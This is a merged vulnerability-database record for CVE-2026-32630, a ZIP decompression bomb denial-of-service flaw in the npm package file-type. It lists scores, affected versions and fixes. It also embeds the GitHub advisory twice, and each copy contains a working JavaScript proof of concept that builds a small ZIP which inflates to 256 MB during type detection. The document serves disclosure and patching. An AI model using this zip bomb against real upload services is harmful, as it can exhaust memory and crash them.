{"id":"CVE-2026-32630","aliases":["EUVD-2026-12139","GHSA-j47w-4g3g-c36v","ROOT-APP-NPM-CVE-2026-32630"],"status":"published","title":"file-type affected by ZIP Decompression Bomb DoS via [Content_Types].xml entry","description":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0035,"percentile":0.2894,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-409"],"published":"2026-03-13T20:54:16Z","modified":"2026-10-28T02:30:22Z","fixes":[{"ecosystem":"npm","package":"file-type","fixed_in":["21.3.2"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"@rootio/file-type","fixed_in":["21.0.0-root.io.1","21.0.0-root.io.2","20.4.1-root.io.1","21.0.0-root.io.3","20.4.1-root.io.2","20.5.0-root.io.1","21.1.0-root.io.1","21.1.1-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"file-type","fixed_in":["21.0.0-aikido.3","20.4.1-aikido.2","20.5.0-aikido.1","21.1.0-aikido.1","21.1.1-aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"file-type","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"last_affected":"21.3.1"},{"fixed":"21.3.2"}]}]},{"source":"osv","ecosystem":"npm","package":"file-type","ranges":[{"type":"SEMVER","events":[{"introduced":"20.0.0"},{"fixed":"21.3.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/file-type","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.0-root.io.1"},{"fixed":"21.0.0-root.io.2"},{"fixed":"20.4.1-root.io.1"},{"fixed":"21.0.0-root.io.3"},{"fixed":"20.4.1-root.io.2"},{"fixed":"20.5.0-root.io.1"},{"fixed":"21.1.0-root.io.1"},{"fixed":"21.1.1-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"file-type","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.0.0-aikido.3"},{"fixed":"20.4.1-aikido.2"},{"fixed":"20.5.0-aikido.1"},{"fixed":"21.1.0-aikido.1"},{"fixed":"21.1.1-aikido.1"}]}]}],"products":[{"vendor":"sindresorhus","product":"file-type"}],"references":[{"url":"https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd","tags":["web"]},{"url":"https://github.com/sindresorhus/file-type/releases/tag/v21.3.2","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32630","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j47w-4g3g-c36v"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32630.json","tags":["advisory"]},{"url":"https://github.com/sindresorhus/file-type","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32630","title":"file-type affected by ZIP Decompression Bomb DoS via [Content_Types].xml entry","description":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","status":"published","published":"2026-03-13T20:54:16.96Z","modified":"2026-03-16T16:59:36.473Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-12139","description":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","status":"published","published":"2026-03-13T20:54:16Z","modified":"2026-03-16T16:59:36Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T19:25:34.078511Z"}],"ghsa":[{"id":"GHSA-j47w-4g3g-c36v","title":"file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry","description":"## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from 'file-type';\nimport archiver from 'archiver';\nimport {Writable} from 'node:stream';\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) =\u003e {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver('zip', {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on('finish', () =\u003e {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on('error', reject);\n\n\t\tconst xmlPrefix = '\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e';\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1","status":"published","published":"2026-03-13T20:56:05Z","modified":"2026-03-16T21:59:51Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-409"],"updated_at":"2026-11-02T14:39:36.642723Z"}],"nvd":[{"id":"CVE-2026-32630","description":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","status":"published","published":"2026-03-16T14:19:40.593Z","modified":"2026-06-17T10:36:07.973Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"CVE-2026-32630","title":"file-type affected by ZIP Decompression Bomb DoS via [Content_Types].xml entry","description":"file-type detects the file type of a file, stream, or data. From 20.0.0 to 21.3.1, a crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile(). The ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. This vulnerability is fixed in 21.3.2.","status":"published","published":"2026-03-13T20:54:16.96Z","modified":"2026-10-28T02:30:22.86018909Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-j47w-4g3g-c36v","title":"file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry","description":"## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from 'file-type';\nimport archiver from 'archiver';\nimport {Writable} from 'node:stream';\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) =\u003e {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver('zip', {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on('finish', () =\u003e {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on('error', reject);\n\n\t\tconst xmlPrefix = '\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e';\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1","status":"published","published":"2026-03-13T20:56:05Z","modified":"2026-09-10T03:50:39.741974661Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400","CWE-409"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"ROOT-APP-NPM-CVE-2026-32630","title":"CVE-2026-32630 in @rootio/file-type - Patched by Root","description":"Root has patched CVE-2026-32630 in the @rootio/file-type package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-13T06:44:01Z","modified":"2026-07-13T13:15:13.902919015Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:53:27.649662Z"}]}}
